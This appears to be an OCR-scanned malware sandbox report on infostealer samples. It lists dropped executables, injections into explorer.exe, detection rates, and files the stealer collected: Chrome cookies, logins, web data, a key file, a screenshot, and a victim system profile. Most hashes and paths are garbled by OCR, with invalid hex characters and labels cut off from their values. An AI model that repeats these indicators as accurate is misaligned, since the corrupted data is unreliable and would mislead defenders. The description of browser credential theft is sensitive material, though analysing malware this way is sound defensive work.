SHA-512: F7B54F1EFCA414567AD547823B8A178F562309507F91FF54EE3FDABFAD5ACEBB3E9450E2A261D3CD6A34430E2ADF1D3354A82EALES8A7362A207EA659304B8042¢

Malicious: false

Reputation: unknown

Preview:
1,"fusion”,"GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublickeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelma
ges_v4.0.30319_32\System\4f0a7eefa3cd3e0bad8b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561
934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..2,"System.Data, Version=4
.0.0.0, Culture=neutral, PublicKkeyToken=b77a5c561934e089",0..2,"System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5{7f11d50a3a",0..3,"System.Xml.
Ling, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml.Linq\f54e3a73bfefb
71eb6elde09129af7f0\System.Xml.Ling.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c¢561934e089","C:\Windows\assembly\
Nativelmages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",

C:\Usersluser\AppDatalLocal\Microsoft\Windows\INetCachellE\2WF3MMUU\sqlite3[1].dll v

Process: C:\Users\user\AppData\Local\Temp\44A2.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 645592

Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Reputation:

Preview:

6.50414583238337

false

12288:i0zrcH2F30fwjtWvuFEmMhx0Cj37670jwX+E7tFKmOgTYh:iJUOfwh8u9hxOD70NE7tFTYh

E477A96C8F2B18D6B5C27BDE49C990BF

E980C9BF41330D1E5BD04556DB4646A0210F7409

16574F51785BOE2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
335A86268E7COE568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798
false

e Antivirus: Metadefender, Detection: 3%, Browse
e Antivirus: ReversingLabs, Detection: 0%

unknown

MZ.oiiiiiiiis @i 1..L.IThis program cannot be run in DOS mode....$....... PE.L..=SV.2 i D ST RSP 8....
.@.@..rdata..$......

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Reputation:

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

1285856

7.290553475161652

false
24576:wAVKNkBobrsLgjMTarThEzgFyyLGPaz8sMRK7wD9x3TOs7:n80iTjiMTaf7iPaWRiwDf3TX
31F17AD58D02772DF14EFAC37D416CD7
BC8EA09D50B5B794AF6C741B0C2D39C637831913
21F7623006B248709A14CBFC507187FD44A8ADA2DODD465FAA79317ECE02DC78
7B3E94C7D808CF779704D33893D7B8EEIF56E445BES54B18A1F7476016AB68D2463F78A1278B1DAA6F8D4DD26535E1A50DA8A33412428E977D0659B8388B56DE
true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: Metadefender, Detection: 26%, Browse
e Antivirus: ReversingLabs, Detection: 57%

unknown
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https://www.metadefender.com/#!/results/file/YnpJeE1URXlNMVZFTjJwblREaGpNZ2JxQ0JobkR1bWg/regular/analysis
https://www.metadefender.com/#!/results/file/bzIxMTIwMXdzdk9GNnc2b1cwRm5OQ2pVTV8/regular/analysis

Preview:

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Reputation:

Preview:

/..0...0LE..vi.DC.[A..
@..@.
P.

C:\Windows\explorer.exe

PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

397824

3.7269481746723154

false

12288:aE8ijGrriLj3criEn2dLkbi2dX4Q4qQ08:UiT3
5115E5DAB211559A85CD0154E8100F53
347800B72AC53EC6E2C87E433763B20282A2C06D
EF156FB3A203FE197D89D63E2EA7805A1B9AF505DFFF5A58532DBFE34E7AABAA

DO3E58376BE1E299A6DA57A28ED5DB176999BADED713AA54DDB59CF8C82B97E8C0B028CE07BDDB6989C7C77ES518E151E112DDE2F1D5244AC2572E4371FAG8
12

true
Antivirus: Avira, Detection: 100%
Antivirus: Joe Sandbox ML, Detection: 100%

Antivirus: Metadefender, Detection: 37%, Browse

L]
L]
L]
e Antivirus: ReversingLabs, Detection: 79%

unknown

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Antivirus:
Reputation:

Preview:

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

modified

1143000

7.2472305489572335

false
12288:N6e6+0/RK8MmtDX5f11XNbW/kjvULGaPBUCXTE/RFia0/1AtBVEOIi2vU86N1A:kHc8L59HbVIGaJUck1liAtBVEN2vX6zA
97617914D6EBAGE3CBEESASESFF39AAS

CAF7FEFOEFD3DBCF176C7CFC85CC545DDODCOEFD
7C1C287F9CEOD8D90C95851781FF2732780177F6C1AFFECCOEED376436981112
FAC79F9E41124044AA1D0A44E86D0A184BEDA33163D7B0973DC23B4FF5087C708175BD89F73FFC2C160A66BF23F09835C422B654353DC67CB59EA053CFGOEAR
true

e Antivirus: ReversingLabs, Detection: 27%

unknown

C:\Users\user\AppData\Local\Temp\26XBS2DT

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Reputation:

C:\Users\user\AppData\Local\Temp\44A2.exe

SQLite 3.x database, last written using SQLite version 3032001

dropped

118784

0.45897271081743474

false

96:/8WU+bDoYysX0uhnydVjNIDLjGQLBE3u:El+bDo3irhnydVj3XBBE3u
48A0503A55113CE8C8D7A1481A465D49
6212FF680FA492983973EEF5341BDD2AC5B28417
E79639510991FEBA97C39F0388B53420765D307C46C43B0BDOCO14FD36EF8092
96A2FC52E2325A29F4B38A080DA817DA741A38BB8DBFD2A85349608251197D3D715A75639FB587216C5BAF8034A93F33E11DA7E35C70347BF584DACI4EF889CH
false

unknown
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https://www.metadefender.com/#!/results/file/bzIxMTIwMTBWVmJUWHNCTjJTWVRrazBiMzRp/regular/analysis

C:\Users\luser\AppData\Local\Temp\26XBS2DT

Preview:

SQLite format 3...... @ e PSPPSR SSSPSSSRRON

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHAL:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Reputation:

Preview:

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

2740224

7.959483373293049

false
49152:MChUuz9ubrDOrNoVNsLdqOMTq24FdizzlzKGg6W6SYjUN+dCo:vUuxGDOiVNsL9cqtdi8GE6hA+3
CA16CA4AAICFI777274447COFABA222E

1025ED93E5F44D51B96F1A788764CC4487EEATTE
0016755526279C5C404B670ECB2D81AF46066D879C389924A6574AB9864B5C04
72D8D2A729B8CE2940235D3A317EE3EBOEB8D1411E847D6D11E36484F520BB88B3CABD03716B3C2988B0A053426BE14AACE154F13D306883788F952CD03CF71
true

e Antivirus: Avira, Detection: 100%

e Antivirus: Joe Sandbox ML, Detection: 100%

e Antivirus: Metadefender, Detection: 43%, Browse
e Antivirus: ReversingLabs, Detection: 86%

unknown

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Reputation:

Preview:

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Windows\explorer.exe
PE32 executable (GUI) Intel 80386, for MS Windows

dropped

163328

6.266388012405613

false

3072:gkgeuzi3xqvmaEzkC34ygPsAXtITmUYasQ2:VXuk3EvmgEgS4jlLay
DF13FACOD8B182E4D8B9A02BA87A9571
B2187DEBC6FDE96E08D5014CE4F1AF5CF568BCES
AF64F5B2B6C4CC63B0CA4BB48F369EBA1629886D85E289A469A5C9612C4A5EE3

BC842A80509BDASAFFF6E12F5B5C64CCF7F1D7360F99F63CEBBC1F21936A15487EC16BDE3C2ACFF22C49EBCEDF5C426621D6F69503F4968AACC8E75611E3A
16

true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: Metadefender, Detection: 29%, Browse
e Antivirus: ReversingLabs, Detection: 51%

unknown

MZ..... ..@.. .L.IThis program cannot be run in DOS mode....$.....

C:\Windows\explorer.exe
PE32 executable (GUI) Intel 80386, for MS Windows

dropped

351744

6.213948226707096

false
6144:nXKjkwFMx3dfUVxmFBGG8wScyH31in9HRPnWDe9XvA60cnLmKo/38+ehh:n69Fc3dI8wScyH31in9HRPnUe9/ASnL4
45D0A6BB2CA00643FB04BF15D4AAA2C9

BA7EF4495BFDD4D4A89A61CD9961715618EFB768
D1F548773AEDAFB4836901DA6C0D6580FA4D836E46665E9E844915BB85D4E3EQ

1688DDB5683FA104CBIFC4ECE6DEYE402190F856BDEA9DABD7CD64F5344F5A0527E77C56FDAD8D32C80F25025DA3F3E6F75829B390AE58B1C82970F76759285E
C

true
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https://www.metadefender.com/#!/results/file/bzIxMTEzMG02QzhvaDJzNDZGbkJ0NlBzSzA/regular/analysis
https://www.metadefender.com/#!/results/file/bzIxMTIwMWdvWTJzcEdEdVNyajhiOHYyaXQt/regular/analysis

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%
Reputation: unknown

Preview:

@ |

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 336896

Entropy (8bit): 6.093303347227195

Encrypted: false

SSDEEP: 6144:L21DqgKqQBIIS35U3jiXtHgL7XwEKXUY3j0flQilejhH:5BVWIIS35U3jiXtHgL 7g6KEY QfIQil

MD5: D2331EDF10B3COE6ASC8FECOALA6392E

SHA1L: F988ADDBBF47CF6DD3ACIC83BAALACED7309EFF1

SHA-256: BB19A312C32F06DC9748BF7317F066A9EC2AECD4B09456A03C097D4118F0ECF9

SHA-512: BF326F98DD84E1BOBAAGI5CEOE26A52569EFD1B6AF13430568F52277572A42205232B0436CB966E665611A89F8F25564B8B8F5F652FE45A95BE20688CC7C8F1A

Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:
MZ. .@.. .L.IThis program cannot be run in DOS mode....$........OW...9P..9P..9Ph".P..9P.X.P..9P.X.P..9P.X.Py.9P.V.P..9P..8P..
9P.X.P..9P.X.P..9P.X.P..9PRich..9P..

.h..@

C:\Users\luser\AppData\Local\Temp\6829558edel\tkools.exe

Process: C:\Users\user\AppData\Local\Temp\2340.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 1143000

Entropy (8bit):  7.2472305489572335

Encrypted: false

SSDEEP: 12288:N6e6+0/RK8MmtDX5f11XNbW/kjvULGaPBUCXTE/RFia0/1AtBVEOIi2vU86N1A:kHc8L59HbVIGaJUck1liAtBVEN2vX6zA
MD5: 97617914D6EBAGE3CBEESASESFF39AAS

SHA1L: CAF7FEFOEFD3DBCF176C7CFC85CC545DDODCOEFD

SHA-256: 7C1C287F9CEOD8D90C95851781FF2732780177F6C1AFFECCOEED376436981112

SHA-512: FAC79F9E41124044AA1D0A44E86D0A184BEDA33163D7B0973DC23B4FF5087C708175BD89F73FFC2C160A66BF23F09835C422B654353DC67CB59EA053CFGOEAR
Malicious: false

Reputation: unknown

Preview:

X0 200

C:\Users\luser\AppData\Local\Temp\ASRIWLNY

Process: C:\Users\user\AppData\Local\Temp\44A2.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 73728

Entropy (8bit):  1.1874185457069584

Encrypted: false

SSDEEP: 96:13sa9uKnadsdUDitMkMC1mBKC7g1HFp/GelCEjWTPeKeWbS8pz/YLcs+P+qigSz4:I13rHdIMHGTPVbSYgbCP46w/1Vumq

MD5: 72A43D390E478BA9664F03951692D109

SHAL: 482FE43725D7A1614F6E24429E455CD0OA920DF7C

SHA-256: 593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C

SHA-512: FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFAO0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC
CE

Malicious: false

Reputation: unknown
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C:\Users\user\AppData\Local\Temp\ASRIWLNY

Preview:

SQLite format 3......@ ....... B e SRS SS SR RRSRRR

C:\Users\luser\AppData\Local\Temp\E3E3OPZU

Process: C:\Users\user\AppData\Local\Temp\44A2.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001
Category: dropped

Size (bytes): 40960

Entropy (8bit):  0.792852251086831

Encrypted: false
SSDEEP: 48:2i3nBA+I1Y1PJzr9URCVE9V8MXODOHSFINUfAIGUGYFONSs8LKVUfIKVYJ7hU:pBCJIyC2V8MZyFI8AIG4oNFeymw
MDS5: 81DB1710BB13DA3343FCODFIFO0BE49F
SHA1L: 9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256: 9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0OFACABB
SHA-512: CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious: false
Reputation: unknown
Preview:
SQLite format 3...... @ e ettt —e e t—eeteeea—e oo —eeteeeteeateeeteeesteeaste ettt ateeenteeasteeteeeateeanteeaneeenaeenaeeraeeaaeanes

C:\Users\luser\AppData\Local\Temp\YfbFSJTjjJ\ Files\ Chrome\default_cookies.db

Process: C:\Users\user\AppData\Local\Temp\305.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001
Category: dropped

Size (bytes): 20480

Entropy (8bit):  0.7006690334145785

Encrypted: false
SSDEEP: 24:TLbJLbXaFpEO5bNmMISHNO6UwcQPx5fBoe9H6pf1H10NQ: T5LLOPEOS5J/Kn7UluBobfvoNQ
MD5: A7FE10DA330AD03BF22DC9AC76BBB3E4
SHA1L: 1805CB7A2208BAEFF71DCB3FE32DB0OCC935CF803
SHA-256: 8D6B84A96429B5C672838BF431A47EC59655E561EBFBB4E63B46351D10A7AAD8
SHA-512: 1DBE27AED6E1E98E9F82AC1F5B774ACB6F3A773BEB17B66C2FB7B89D12AC87A6D5B716EF844678A5417F30EE8855224A8686A135876AB4C0561B3C6059E635C
7
Malicious: false
Reputation: unknown
Preview:
SQLite format 3.

C:\Users\user\AppData\Local\Temp\YfbFSJTjjJ\ _Files\ Chromel\default_key.bin

Process: C:\Users\user\AppData\Local\Temp\305.exe

File Type: data

Category: dropped

Size (bytes): 32

Entropy (8bit):  4.9375

Encrypted: false

SSDEEP: 3:Tydsb5i6Dn:qqi6D

MD5: 18962F5697042F84578AC7F855F38ACS5

SHAL: 3D7CC906C6F649EEBFOEOEBEC809B89B584033E1

SHA-256: 7DDBE41709AE056CDAD2E15C357500D6E5BEBE27D8A708C4069D8C6863A5BE99

SHA-512: 36F5BFEF91BFB07D2A45CFCA5D57126B6D2DCDO5BE17AFFA0E04BSF1EBB8E1D51A4584BA8F1F3326CA592D9A4D63E13A12C125674ECEOBO52EED7B11C52AF
F1D

Malicious: false

Reputation: unknown

Preview:

.. *@.0n...PNI~.0.0.....M+.YA

C:\Users\user\AppData\Local\Temp\YfbFSJTjjJ\ Files\ Chromel\default_logins.db

Process: C:\Users\user\AppData\Local\Temp\305.exe
File Type: SQLite 3.x database, last written using SQLite version 3032001
Category: dropped
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C:\Users\user\AppData\Local\Temp\YfbFSJTjjJ\ Files\ Chrome\default_logins.db

Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

40960

0.792852251086831

false

48:2i3nBA+I1Y1PJzrOURCVE9V8MXODOHSFINUfAIGUGY FONSs8LKVUfIKVYJ7hU:pBCJIyC2V8MZyFI8AIG4oNFeymw

81DB1710BB13DA3343FCODFIFO0BE49F

9B1F17E936D28684FFDFA962340C8872512270BB

9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0OFACABB
CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
false

unknown

SQLite format 3...... @ e L PSSP P TR SPRSPRSSPRON

C:\Users\luser\AppData\Local\Temp\YfbFSJTjjJ\ Files\_Chrome\default_webdata.db

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\AppData\Local\Temp\305.exe

SQLite 3.x database, last written using SQLite version 3032001

dropped

73728

1.1874185457069584

false
96:13sa9uKnadsdUDitMkMC1mBKC7g1HFp/GelCEjWTPeKeWbS8pz/YLcs+P+qigSz4:13rHdMHGTPVbSYgbCP46w/1Vumq
72A43D390E478BA9664F03951692D109

482FE43725D7A1614F6E24429E455CD0A920DF7C
593D9DE27A8CA63553E9460E03FD190DCADD2BI6BF63B438B4A92CB05A4D711C

FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFAOCFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC
CE

false

unknown

SQLite format 3...... @ ....... B LT TSP PR PP UUPPUPPOPRPON

C:\Users\luser\AppData\Local\Temp\YfbFSJTjjJ\ Files\ Information.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Users\user\AppData\Local\Temp\305.exe

Little-endian UTF-16 Unicode text, with very long lines, with CRLF line terminators

dropped

6974

3.545952797812319

false
192:RFBiBUOPGQGXJ0eDcDDfZmEiv5bJtWmGuU3b:RFW8UOpGQGXJ0eDcDDfZmEivsbItWmGI
367C1BF347EA4AFD78C409EDDF473D36
4E42FCDOD36CA3E2242B59DE51D02DBB5FD9067E
6ED9D59308AD607D617F495D78BE4BBA8424738524B1A796D1BC6DDC6DEDIFAC
B6E199408D015B6597802C767429A1A52D62AC5C9F443798F915131D3F3AAAD4FB006657322906COFDAB1IDB1EBA545838087CDC6210A7BD39D89EAOD60715C2

false

unknown

WStart Build:..............C.:\Us.ers\jones\AppDatallLo.cal\T.empl\3.05.exe..0S: . ..................... W.i.n.d.ow.s. .1.0. .P.ro. ..
.6.4.-b.it_.(x.6.4)....Build.:. .1.7.1.34... .Release. .1.803..0S. Language:..............en-US...Keyb.oard. Languages........En
g.lis.h. .(U.nited. .States.). | ...Local Date. .and .Time. .....2021-12-01..09.:14.37...UTC........................+0.1.0.0...U.
s.err.N.am.e. .(Comp.uterNam.e.).. jones. .(247525)...CPU....................... L.n.tel.(R.)..C.or.e.(T.M).2. .CP.U..6.6.0.0..@..2..4.0..GH.z
(C.ores... 4)..Total.. RAM:. ............... 8.19.1.. MB..GP.U.............. ... ... .... AM.D. .

C:\Users\user\AppData\Local\Temp\YfbFSJTjjJ\ Files\ Screen_Desktop.jpeg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:

C:\Users\user\AppData\Local\Temp\305.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, frames 3
dropped

82372

7.8532709031317935

false

1536:ICPrbYvHTdImdeJzF7AVcdABAIMZRGFK20HYyPF1Zj0gzQhax/X8zbb+f:BrjmdeJz8/CIRO50HYyxSMJa+f
38C7137F820D5391670B00DIB3364CB5

68941BFA5FBD876B1AA4F037500E82F77DD7CC02
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C:\Users\user\AppData\Local\Temp\YfbFSJTjjJ\ Files\ Screen_Desktop.jpeg

SHA-256: 26476F59F90273C81D07938ECOE800A80C988D730629A9AF894E1202F8EDFCAF

SHA-512: 9B29703C4BC01DD6341DA1D8DF4D062EF8157825B02E54BE7C89934DB3185463B63B76633C285B57E48ADFC2D6E3EOAIFEEC855AA818BB27BC4BF3C69D37B(
BA

Malicious: false

Reputation: unknown

Preview:

.l.a.~dQ..cQS.\...."02.87C...D.E-..J3ZJ.%%V1.. H....7....ierne s.b....9v8.+...2..0...[.Se.=.0c..7..8..hTv...(W..+R..
Do AT?. <>, ,J.ky-1.4#..Nm...U.u.z.RR..hb%..R.(..4..kV6.....s...

(LULK2.,p$s.~.. k- ]+ BUY XS B2
(.t Y]iho~H....X.s.-...S..._?.<.._.

C:\Users\luser\AppData\Local\Temp\YfbFSJTjjJ\files_\_Chrome\default_cookies.db

Process: C:\Users\user\AppData\Local\Temp\305.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001
Category: dropped

Size (bytes): 20480

Entropy (8bit):  0.7006690334145785

Encrypted: false

SSDEEP: 24:TLbILbXaFpEO5bNmMISHN06UwWCcQPX5fBoe9H6pfLH10NQ: T5LLOPEO5I/Kn7UluBobfvoNQ

MD5: A7FE10DA330AD03BF22DC9AC76BBB3E4

SHA1L: 1805CB7A2208BAEFF71DCB3FE32DB0CC935CF803

SHA-256: 8D6B84A96429B5C672838BF431A47EC59655E561EBFBB4E63B46351D10A7AADS

SHA-512: 1DBE27AED6E1E98EIF82AC1F5B774ACB6F3A773BEB17B66C2FB7B89D12AC87A6D5B716EF844678A5417F30EE8855224A8686A135876AB4C0561B3C6059E635C
7

Malicious: false

Reputation: unknown

Preview:
SQLite format 3...... @ e Caren Gt Bttt

C:\Users\user\AppData\Local\Temp\YfbFSJTjjJ\files_\_Chrome\default_key.bin

Process: C:\Users\user\AppData\Local\Temp\305.exe

File Type: data

Category: dropped

Size (bytes): 32

Entropy (8bit): 4.9375

Encrypted: false

SSDEEP: 3:Tydsb5i6Dn:qqi6D

MD5: 18962F5697042F84578AC7F855F38ACS5

SHAL: 3D7CC906C6F649EEBFOEOEBEC809B89B584033E1

SHA-256: 7DDBE41709AE056CDAD2E15C357500D6ESBEBE27D8A708C4069D8C6863A5BE99

SHA-512: 36F5BFEF91BFB07D2A45CFCA5D57126B6D2DCDO5BEL17AFF40E04B5F1EBBSE1D51A4584BA8F1F3326CA592D9A4D63E13A12C125674ECEOBOS52EED7B11C52AF
F1D

Malicious: false

Reputation: unknown

Preview:

..*@.0n...PNI~.0.0.....M+.YA

C:\Users\user\AppData\Local\Temp\YfbFSJTjjJ\files \ Chrome\default_logins.db

Process: C:\Users\user\AppData\Local\Temp\305.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 40960

Entropy (8bit):  0.792852251086831

Encrypted: false

SSDEEP: 48:2i3nBA+I1Y1PJzrOURCVE9V8MXODOHSFINUfAIGUGYFoNSs8LKVUfIKVyYJ7hU:pBCJIyC2V8MZyFIBAIG4oNFeymw
MD5: 81DB1710BB13DA3343FCODFIFO0BE49F

SHAL: 9B1F17E936D28684FFDFA962340C8872512270BB

SHA-256: 9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38DOFACABB

SHA-512: CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious: false

Reputation: unknown
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C:\Users\luser\AppData\Local\Temp\YfbFSJTjjJ\files_\_Chrome\default_logins.db

Preview:

SQLite format 3...... @ e e PSSR SRSPSSSRRON

C:\Users\luser\AppData\Local\Temp\YfbFSJTjjJ\files_\_Chrome\default_webdata.db

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\AppData\Local\Temp\305.exe

SQLite 3.x database, last written using SQLite version 3032001

dropped

73728

1.1874185457069584

false
96:13sa9uKnadsdUDitMkMC1mBKC7g1HFp/GelCEjWTPeKeWbS8pz/YLcs+P+qigSz4:13rHdMHGTPVbSYgbCP46w/1Vumq
72A43D390E478BA9664F03951692D109

482FE43725D7A1614F6E24429E455CD0A920DF7C
593D9DE27A8CA63553E9460E03FD190DCADD2BI6BF63B438B4A92CB05A4D711C

FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFAOCFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC
CE

false

unknown

SQLite format 3.

C:\Users\luser\AppData\Local\Temp\YfbFSJTjjJ\files_\screenshot.jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\AppData\Local\Temp\305.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, frames 3
dropped

82372

7.8532709031317935

false

1536:ICPrbYvHTdImdeJzF7AVcdABAIMZRGFK20HYyPF1Zj0gzQhax/X8zbb+f:BrimdeJz8/CIRO50HYyxSMJa+f
38C7137F820D5391670B00D9B3364CB5

68941BFAS5FBD876B1AA4F037500E82F77DD7CC02
26476F59F90273C81D07938ECOE800A80C988D730629A9AF894E1202F8EDFCAF

9B29703C4BC01DD6341DA1D8DF4D062EF8157825B02E54BE7C89934DB3185463B63B76633C285B57E48ADFC2D6E3EOA9FEEC855AA818BB27BC4BF3C69D37B(
BA

false

unknown

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Antivirus:

Reputation:

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

336896

6.093285235983875

false
6144:MaXePnFIlIS35U3jiXtHAt7ewOljc4hDXElcyG+V5:MagliS35U3jiXtHAL7XOlw4jElcy G
1A430B2CBF785427C87C48D29A1A8COF
E9B392C34C1BFOE42599BB561F111E3BCEA7B3D9
1D1FC9D23AA14B4F484FB86C173C94084BC14A9F551747B6E06366649A229AF5

28BA06D7CC60F27C948071A19BFOESAG4E9DB3AA262BDB419AD208C2FD6C7E075F9BDA85C241A329239B1F584845FBF1FAF590D69856E775FA27307EADF6FD!
A

true
e Antivirus: Joe Sandbox ML, Detection: 100%

unknown
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Preview:

MZ. .@..
9P.X.P..9P.X.P..9P.X.P..9PRich..9P..
H.@..

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\explorer.exe

ASCII text, with CRLF line terminators

dropped

26

3.95006375643621

false

3:ggPYVIrPYV

187F488E27DB4AF347237FE461A079AD
6693BA299EC1881249D59262276A0D2CB21F8E64
255A65D30841AB4082BD9DOEEA79D49C5EE88F56136157D8D6156AEF11C12309
89879F237COC051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DCICDE1B60FB21CD64
true

unknown

[ZoneTransfer]....Zoneld=0

C:\Windows\appcompat\Programs\Amcache.hve

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WerFault.exe

MS Windows registry file, NT/2000 or above

dropped

1572864

4.242066218824777

false
12288:+pU+NPxKxbZsNZrx/193X1K4VoJq9jccuulyDOXgDnRNwQ5f: Y U+NPxKxbZWZrxXTV
26BEOD74D34F16E97CF8A7D1BB7C5B23
2F42282468D436AF6EDFEEFFFBFEBD8FE2DF73AD
412837BAFFDF8F2BC94354B492E456D8FA541CE6AG5F11ESEA67C092E66F8496
0104B39CA19C29DCBDAO3EBIFBD1506879586760C55618F49892D5CC6B81133F416D0OEES1DE126B3676B1FA80523B316DEFFE8CD362700A6F19472B74DB37E0
false

unknown

regfH..H...p.\

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WerfFault.exe

MS Windows registry file, NT/2000 or above

dropped

20480

3.349858414047052

false
384:VjT5K5w+v4KgnVVeeDze/INKZtjHT8GewceHN1xK7jbr:ptkKRg/eeDze9NYtjgGewckjb
FAADDF410128036CC5827B49FB1AC18D
27BA8D4F68109117BB3E088A9273A1F8546B41C1
054270E5F8CF83B749A5EBB42E06D177BDA85CIE20469225A9444930B82E89A0
ABFFOE115655D584DDBFBAOE9BF1DB7E9ES5C72247048EA85020CE4F69E00669DDA4A040E672A6C711F55717C5F7A211BC474E5A2B651B9835E6F46E474F55569¢€
false

unknown

regfG...G...p.\.

&..{ad79c032-a2ea-f756-€377-7
....DeviceCensus....................

Static File Info
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General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MDS5:
SHA1L:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

